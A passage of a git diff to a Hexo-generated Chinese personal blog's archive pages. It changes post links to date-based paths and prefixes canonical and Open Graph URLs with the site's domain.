         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/hybird.html" target="_self">阅读全文</a>
+            <a href="/2017/10/11/hybird.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -986,7 +986,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/前端面试题.html">前端面试题</a></p>
+        <p class="article-headline-p"><a href="/2017/09/18/前端面试题.html">前端面试题</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -996,7 +996,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/前端面试题.html" target="_self">阅读全文</a>
+            <a href="/2017/09/18/前端面试题.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/archives/2017/page/2/index.html b/public/archives/2017/page/2/index.html
index 97fae2f..9287996 100644
--- a/public/archives/2017/page/2/index.html
+++ b/public/archives/2017/page/2/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/archives/2017/page/2/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/archives/2017/page/2/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/archives/2017/page/2/">
+    <meta property="og:url" content="blog.jzxer.cn/archives/2017/page/2/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="归档: 2017 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/archives/2017/page/2/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/archives/2017/page/2/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/simpleCountry.html">simpleCountry</a></p>
+        <p class="article-headline-p"><a href="/2017/09/14/simpleCountry.html">simpleCountry</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/simpleCountry.html" target="_self">阅读全文</a>
+            <a href="/2017/09/14/simpleCountry.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/learn-koa.html">learn-koa</a></p>
+        <p class="article-headline-p"><a href="/2017/09/06/learn-koa.html">learn-koa</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/learn-koa.html" target="_self">阅读全文</a>
+            <a href="/2017/09/06/learn-koa.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -559,7 +559,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何成为一名合格的CEO.html">如何成为一名合格的CEO</a></p>
+        <p class="article-headline-p"><a href="/2017/08/28/如何成为一名合格的CEO.html">如何成为一名合格的CEO</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -569,7 +569,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何成为一名合格的CEO.html" target="_self">阅读全文</a>
+            <a href="/2017/08/28/如何成为一名合格的CEO.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -620,7 +620,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/前端面试准备.html">前端面试准备</a></p>
+        <p class="article-headline-p"><a href="/2017/08/27/前端面试准备.html">前端面试准备</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -630,7 +630,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/前端面试准备.html" target="_self">阅读全文</a>
+            <a href="/2017/08/27/前端面试准备.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -681,7 +681,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/commonJS和AMD-CMD.html">commonJS和AMD/CMD</a></p>
+        <p class="article-headline-p"><a href="/2017/08/23/commonJS和AMD-CMD.html">commonJS和AMD/CMD</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -691,7 +691,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/commonJS和AMD-CMD.html" target="_self">阅读全文</a>
+            <a href="/2017/08/23/commonJS和AMD-CMD.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -742,7 +742,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/七种公司永远做不大-十种老板永远不成功.html">七种公司永远做不大, 十种老板永远不成功!</a></p>
+        <p class="article-headline-p"><a href="/2017/08/22/七种公司永远做不大-十种老板永远不成功.html">七种公司永远做不大, 十种老板永远不成功!</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -752,7 +752,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/七种公司永远做不大-十种老板永远不成功.html" target="_self">阅读全文</a>
+            <a href="/2017/08/22/七种公司永远做不大-十种老板永远不成功.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -803,7 +803,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/sessionStorage-localStotage-AND-cookies.html">sessionStorage localStotage AND cookies</a></p>
+        <p class="article-headline-p"><a href="/2017/08/16/sessionStorage-localStotage-AND-cookies.html">sessionStorage localStotage AND cookies</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -813,7 +813,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/sessionStorage-localStotage-AND-cookies.html" target="_self">阅读全文</a>
+            <a href="/2017/08/16/sessionStorage-localStotage-AND-cookies.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -864,7 +864,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/wuti.html">wuti</a></p>
+        <p class="article-headline-p"><a href="/2017/07/31/wuti.html">wuti</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -874,7 +874,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/wuti.html" target="_self">阅读全文</a>
+            <a href="/2017/07/31/wuti.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -925,7 +925,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/badboy.html">badboy</a></p>
+        <p class="article-headline-p"><a href="/2017/07/30/badboy.html">badboy</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -935,7 +935,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/badboy.html" target="_self">阅读全文</a>
+            <a href="/2017/07/30/badboy.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -981,7 +981,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/关于罗永浩.html">关于罗永浩</a></p>
+        <p class="article-headline-p"><a href="/2017/07/23/关于罗永浩.html">关于罗永浩</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -991,7 +991,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/关于罗永浩.html" target="_self">阅读全文</a>
+            <a href="/2017/07/23/关于罗永浩.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/archives/2017/page/3/index.html b/public/archives/2017/page/3/index.html
index 6ee178a..7ca3514 100644
--- a/public/archives/2017/page/3/index.html
+++ b/public/archives/2017/page/3/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/archives/2017/page/3/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/archives/2017/page/3/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/archives/2017/page/3/">
+    <meta property="og:url" content="blog.jzxer.cn/archives/2017/page/3/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="归档: 2017 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/archives/2017/page/3/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/archives/2017/page/3/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/sync-和async.html">sync 和async</a></p>
+        <p class="article-headline-p"><a href="/2017/07/21/sync-和async.html">sync 和async</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/sync-和async.html" target="_self">阅读全文</a>
+            <a href="/2017/07/21/sync-和async.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/css的命名规范.html">css的命名规范</a></p>
+        <p class="article-headline-p"><a href="/2017/07/17/css的命名规范.html">css的命名规范</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/css的命名规范.html" target="_self">阅读全文</a>
+            <a href="/2017/07/17/css的命名规范.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -559,7 +559,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue-eleme.html">vue-eleme</a></p>
+        <p class="article-headline-p"><a href="/2017/07/05/vue-eleme.html">vue-eleme</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -569,7 +569,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue-eleme.html" target="_self">阅读全文</a>
+            <a href="/2017/07/05/vue-eleme.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -620,7 +620,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/sticky-footer.html">sticky-footer</a></p>
+        <p class="article-headline-p"><a href="/2017/07/02/sticky-footer.html">sticky-footer</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -630,7 +630,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/sticky-footer.html" target="_self">阅读全文</a>
+            <a href="/2017/07/02/sticky-footer.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -681,7 +681,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/我向往的明天.html">我向往的明天</a></p>
+        <p class="article-headline-p"><a href="/2017/07/01/我向往的明天.html">我向往的明天</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -691,7 +691,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/我向往的明天.html" target="_self">阅读全文</a>
+            <a href="/2017/07/01/我向往的明天.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -742,7 +742,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/div-section-article.html">div,section,article</a></p>
+        <p class="article-headline-p"><a href="/2017/06/28/div-section-article.html">div,section,article</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -752,7 +752,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/div-section-article.html" target="_self">阅读全文</a>
+            <a href="/2017/06/28/div-section-article.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -803,7 +803,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/四种常见的布局.html">四种常见的布局</a></p>
+        <p class="article-headline-p"><a href="/2017/06/28/四种常见的布局.html">四种常见的布局</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -813,7 +813,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/四种常见的布局.html" target="_self">阅读全文</a>
+            <a href="/2017/06/28/四种常见的布局.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -864,7 +864,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/论轮播图的原理.html">解析卡片式轮播图</a></p>
+        <p class="article-headline-p"><a href="/2017/06/24/论轮播图的原理.html">解析卡片式轮播图</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -874,7 +874,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/论轮播图的原理.html" target="_self">阅读全文</a>
+            <a href="/2017/06/24/论轮播图的原理.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -925,7 +925,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue学习笔记（一）.html">vue学习笔记（一）</a></p>
+        <p class="article-headline-p"><a href="/2017/06/18/vue学习笔记（一）.html">vue学习笔记（一）</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -935,7 +935,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue学习笔记（一）.html" target="_self">阅读全文</a>
+            <a href="/2017/06/18/vue学习笔记（一）.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -986,7 +986,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/搭一个windows云服务器.html">搭一个windows云服务器</a></p>
+        <p class="article-headline-p"><a href="/2017/06/16/搭一个windows云服务器.html">搭一个windows云服务器</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -996,7 +996,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/搭一个windows云服务器.html" target="_self">阅读全文</a>
+            <a href="/2017/06/16/搭一个windows云服务器.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/archives/2017/page/4/index.html b/public/archives/2017/page/4/index.html
index b4ea6f3..d599f3c 100644
--- a/public/archives/2017/page/4/index.html
+++ b/public/archives/2017/page/4/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/archives/2017/page/4/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/archives/2017/page/4/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/archives/2017/page/4/">
+    <meta property="og:url" content="blog.jzxer.cn/archives/2017/page/4/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="归档: 2017 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/archives/2017/page/4/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/archives/2017/page/4/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/hexo搭建博客.html">hexo 搭建博客初体验</a></p>
+        <p class="article-headline-p"><a href="/2017/06/16/hexo搭建博客.html">hexo 搭建博客初体验</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/hexo搭建博客.html" target="_self">阅读全文</a>
+            <a href="/2017/06/16/hexo搭建博客.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -486,6 +486,8 @@
         
     
         
+    
+        
             
                 <!-- Paradox Thumbnail -->
                 <div class="post_entry-module mdl-card mdl-shadow--4dp mdl-cell mdl-cell--12-col fade out">
@@ -498,7 +500,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vuex-模块介绍.html">vuex 使用技巧</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vuex-模块介绍.html">vuex 使用技巧</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +510,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vuex-模块介绍.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vuex-模块介绍.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -547,8 +549,6 @@
         
     
         
-    
-        
             
                 <!-- Paradox Thumbnail -->
                 <div class="post_entry-module mdl-card mdl-shadow--4dp mdl-cell mdl-cell--12-col fade out">
@@ -561,7 +561,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/GIT使用攻略.html">git使用技巧</a></p>
+        <p class="article-headline-p"><a href="/2017/04/15/GIT使用攻略.html">git使用技巧</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -571,7 +571,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/GIT使用攻略.html" target="_self">阅读全文</a>
+            <a href="/2017/04/15/GIT使用攻略.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -622,7 +622,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/Amani-间奏-1.html">Amani-间奏</a></p>
+        <p class="article-headline-p"><a href="/2017/03/28/Amani-间奏-1.html">Amani-间奏</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -632,7 +632,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/Amani-间奏-1.html" target="_self">阅读全文</a>
+            <a href="/2017/03/28/Amani-间奏-1.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -683,7 +683,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/前端的职业路线.html">前端的职业路线</a></p>
+        <p class="article-headline-p"><a href="/2017/03/19/前端的职业路线.html">前端的职业路线</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -693,7 +693,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/前端的职业路线.html" target="_self">阅读全文</a>
+            <a href="/2017/03/19/前端的职业路线.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -744,7 +744,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/一些不可思议的的事.html">一些不可思议的的事</a></p>
+        <p class="article-headline-p"><a href="/2017/03/07/一些不可思议的的事.html">一些不可思议的的事</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -754,7 +754,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/一些不可思议的的事.html" target="_self">阅读全文</a>
+            <a href="/2017/03/07/一些不可思议的的事.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -805,7 +805,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/电吉他即兴原理.html">电吉他即兴原理</a></p>
+        <p class="article-headline-p"><a href="/2017/02/15/电吉他即兴原理.html">电吉他即兴原理</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -815,7 +815,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/电吉他即兴原理.html" target="_self">阅读全文</a>
+            <a href="/2017/02/15/电吉他即兴原理.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -866,7 +866,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/material主题使用攻略.html">material主题使用攻略</a></p>
+        <p class="article-headline-p"><a href="/2017/02/15/material主题使用攻略.html">material主题使用攻略</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -876,7 +876,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/material主题使用攻略.html" target="_self">阅读全文</a>
+            <a href="/2017/02/15/material主题使用攻略.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -927,7 +927,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/我是愤怒.html">我是愤怒</a></p>
+        <p class="article-headline-p"><a href="/2017/01/07/我是愤怒.html">我是愤怒</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -937,7 +937,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/我是愤怒.html" target="_self">阅读全文</a>
+            <a href="/2017/01/07/我是愤怒.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/archives/2018/01/index.html b/public/archives/2018/01/index.html
index f8d8f2a..d370c1f 100644
--- a/public/archives/2018/01/index.html
+++ b/public/archives/2018/01/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/archives/2018/01/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/archives/2018/01/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/archives/2018/01/">
+    <meta property="og:url" content="blog.jzxer.cn/archives/2018/01/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="归档: 2018/1 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/archives/2018/01/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/archives/2018/01/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/深入浅出-Ajax.html">深入浅出 Ajax</a></p>
+        <p class="article-headline-p"><a href="/2018/01/31/深入浅出-Ajax.html">深入浅出 Ajax</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/深入浅出-Ajax.html" target="_self">阅读全文</a>
+            <a href="/2018/01/31/深入浅出-Ajax.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -493,7 +493,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何理解yield和-函数.html">如何理解yield和*函数</a></p>
+        <p class="article-headline-p"><a href="/2018/01/30/如何理解yield和-函数.html">如何理解yield和*函数</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -503,7 +503,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何理解yield和-函数.html" target="_self">阅读全文</a>
+            <a href="/2018/01/30/如何理解yield和-函数.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -554,7 +554,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/我所追求的狼性.html">我所追求的狼性</a></p>
+        <p class="article-headline-p"><a href="/2018/01/28/我所追求的狼性.html">我所追求的狼性</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -564,7 +564,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/我所追求的狼性.html" target="_self">阅读全文</a>
+            <a href="/2018/01/28/我所追求的狼性.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -615,7 +615,7 @@
     
 
         <!-- Post Title -->
